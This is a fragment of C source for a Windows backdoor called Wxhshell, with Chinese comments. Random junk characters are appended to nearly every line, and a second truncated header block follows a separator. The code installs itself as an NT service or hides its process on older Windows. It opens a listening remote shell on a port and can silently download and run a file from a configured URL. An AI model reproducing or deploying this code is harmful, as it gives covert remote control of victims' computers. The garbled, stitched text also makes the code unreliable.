+a^nlW9g
PROCNTQSIP NtQueryInformationProcess; bN]+_ mF
MvK !u
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _AAaC_q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !g5xq
VUPXO
HANDLE hProcess; "alyfyBu'M
PROCESS_BASIC_INFORMATION pbi; p i
%<Sy
{^CY..3
A
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G6/p1xy>o:
if(NULL == hInst ) return 0; |iE50,
g;qx">xJ`o
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DW5Y@;[
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ==3dEJS
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Tn*9lj4
>qS9PX
if (!NtQueryInformationProcess) return 0; 5-aj2>=7
j|U#)v/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8ZM&(Lz7u
if(!hProcess) return 0; rH_\d?b
}1Gv)l7
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cd,jDPrw
*>|gxM8
CloseHandle(hProcess); +
+M$#Er&
PsnWWj?c
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D^l%{IG
if(hProcess==NULL) return 0; $8UUzk
]P.'>4
HMODULE hMod; :=u?Fqqws
char procName[255]; W+UfGk}A
unsigned long cbNeeded; 6-z%633DL
%E#s\B,w
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gft%Mq
v
LhOa{1SY
CloseHandle(hProcess); M+U9R@
Sdt`i
if(strstr(procName,"services")) return 1; // 以服务启动 6$kq aS##
7gj4j^a^]{
return 0; // 注册表启动 [DJ|`^eKD
} -I8=T]_D
YB(Q\hT~\;
// 主模块 {1UQ/_
int StartWxhshell(LPSTR lpCmdLine) b\yXbyjZ3.
{ 06O2:5zF
SOCKET wsl; JMrEFk
BOOL val=TRUE; \NgYTZ
int port=0; N5Q[n d
struct sockaddr_in door; =/s>Q l
s/$?^qtyC
if(wscfg.ws_autoins) Install(); qh9Z50E9
~Sj9GxTe
port=atoi(lpCmdLine); sDPs
G5q<
|TS>hwkI
if(port<=0) port=wscfg.ws_port; "i y
%zG;Q@
WSADATA data; RL!Oi|8
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9s\A\$("l
?}wk.gt>
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #M9~L[nFS
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L
6c 40
door.sin_family = AF_INET; >V-A;S:
door.sin_addr.s_addr = inet_addr("127.0.0.1"); [@VP?74
door.sin_port = htons(port); */sS`/Lx
ojcA<60
'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8aK)#tNWN
closesocket(wsl); A P)L:7w'e
return 1; Bt@^+vH ~
} Q# ~Q=T'<
&dqLP95
if(listen(wsl,2) == INVALID_SOCKET) { C _'%NlJ'
closesocket(wsl); .+PI}[g
return 1; &S~zNl^m
} z* ^_)Z
Wxhshell(wsl); tr<Nm6!
WSACleanup(); Hx"ob_^'7
Q-_N2W?
return 0; CAfGH!l!
((H^2KJn
} t<#TJ>Le
'))0Lh
l
// 以NT服务方式启动 L-ET<'u
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kVkU)hqR
{ aOlT;h
DWORD status = 0; n&$j0k
DWORD specificError = 0xfffffff; 6HT;#Znn
@i2E\}
serviceStatus.dwServiceType = SERVICE_WIN32; CDsSrKhx
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,]bhy p
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :ci5r;^
serviceStatus.dwWin32ExitCode = 0; \hTm)-FP
serviceStatus.dwServiceSpecificExitCode = 0; m8A#~i .
serviceStatus.dwCheckPoint = 0; 6 eLR2
serviceStatus.dwWaitHint = 0; C[ NSkr
;D3C>7y
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e|)hG8FlF
if (hServiceStatusHandle==0) return; CyJEY-
NP0\i1P>.?
status = GetLastError(); T$>WE= Y
if (status!=NO_ERROR) 9]k @Q_
{ }JF13beU
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3
}duG/
serviceStatus.dwCheckPoint = 0; \nXtH}9ZF
serviceStatus.dwWaitHint = 0; /KFfU1
serviceStatus.dwWin32ExitCode = status;
SWH2
serviceStatus.dwServiceSpecificExitCode = specificError; j_K4;k#r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Xt*Snd
return; PC~Y8,A|.t
} bGN:=Y'
^X=arTE
serviceStatus.dwCurrentState = SERVICE_RUNNING; &*##bA"!B
serviceStatus.dwCheckPoint = 0; <fZyAa3}
serviceStatus.dwWaitHint = 0; ?^7t'`zk
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2<i!{;u$qL
} '=39+*6?
I@T8Iv=
// 处理NT服务事件,比如:启动、停止 caIL&G,
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z-^LKe
{ bp*
^z,w
switch(fdwControl) \d6C%S!
{ = I:.X ;
case SERVICE_CONTROL_STOP: [A~y%bI"
serviceStatus.dwWin32ExitCode = 0; i`(XLi}k
serviceStatus.dwCurrentState = SERVICE_STOPPED; -)w@f~Q
serviceStatus.dwCheckPoint = 0; DVG(Vw
serviceStatus.dwWaitHint = 0; N:S/SZI
{ |z9*GY6RU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZGBd%RWjG_
} ZT'`hK_up
return; M||+qd W!
case SERVICE_CONTROL_PAUSE: *{YlN}vA
serviceStatus.dwCurrentState = SERVICE_PAUSED; Bc(Y(X$PK
break; 6"wlg!k8
case SERVICE_CONTROL_CONTINUE: /z4$gb7Y
serviceStatus.dwCurrentState = SERVICE_RUNNING; WYH Q?
break; I5`4Al
case SERVICE_CONTROL_INTERROGATE: L5Ebc#
break; ? E1<!~
}; ! +a. Ei
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y=fx%~<>
8
} G/k2Pe{SL
vleS2-]|
// 标准应用程序主函数 Nkjza:f{
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6g2a[6G5
{ S'k_olx7
qz+dmef
// 获取操作系统版本 H['N
OsIsNt=GetOsVer(); Vy6qbC-Kt
GetModuleFileName(NULL,ExeFile,MAX_PATH); y0Fb_"}
&:;:"{t}Do
// 从命令行安装 ~FZ&.<s
if(strpbrk(lpCmdLine,"iI")) Install(); h:W;^\J:-
9Z|jxy
// 下载执行文件 ];VA!++
if(wscfg.ws_downexe) { Q!o'}nA
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O@tU.5*$5
WinExec(wscfg.ws_filenam,SW_HIDE); lsgh#x
} ],>@";9u"
?~l6K(*2
if(!OsIsNt) { q['Euy
// 如果时win9x,隐藏进程并且设置为注册表启动 J28M@cn
HideProc(); Tre]"2l
StartWxhshell(lpCmdLine); ;%B(_c
} !F*5M1Kjd
else c'^?/$H|
if(StartFromService()) wu7Lk3
// 以服务方式启动 _64A(U
StartServiceCtrlDispatcher(DispatchTable); Za/-i"U
else 'vVQg
// 普通方式启动 bENdMH";
StartWxhshell(lpCmdLine); Ye\rB\-
S{Kiy#ltWc
return 0; ?[VM6- &
} &c` nR<
&SIq2>Q A
[^R^8k
Gk.
ruQW"
=========================================== |!1Y*|Q%s
8Ry3`ct
&x=.$76
i)o2klIkB
7yG#Z)VE
zbXI%
" cW~}:;D4
}'5MK
#include <stdio.h> !SC`D])l
#include <string.h> bo,_&4?
#include <windows.h> szb_*)k
#include <winsock2.h> i#&z2h-b
#include <winsvc.h> .\\DKh%
#include <urlmon.h> _mzW'~9wN
O#n8=B4
#pragma comment (lib, "Ws2_32.lib") ; PF`Wj
#pragma comment (lib, "urlmon.lib") jk"`Z<j~
45=bGf#
#define MAX_USER 100 // 最大客户端连接数 Qn^'
#define BUF_SOCK 200 // sock buffer dl.N.P7}4
#define KEY_BUFF 255 // 输入 buffer dah[:rP,n{
b1?#81
#define REBOOT 0 // 重启 teOe#*
#define SHUTDOWN 1 // 关机 s6ZuM/Q
QgrpBG
#define DEF_PORT 5000 // 监听端口 \n" {qfn`r
j>*S5y.{
#define REG_LEN 16 // 注册表键长度 3RiWZN
#define SVC_LEN 80 // NT服务名长度 iMt:9|yF}8
pe0F0Ruy
// 从dll定义API v&Ii^?CvO
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f&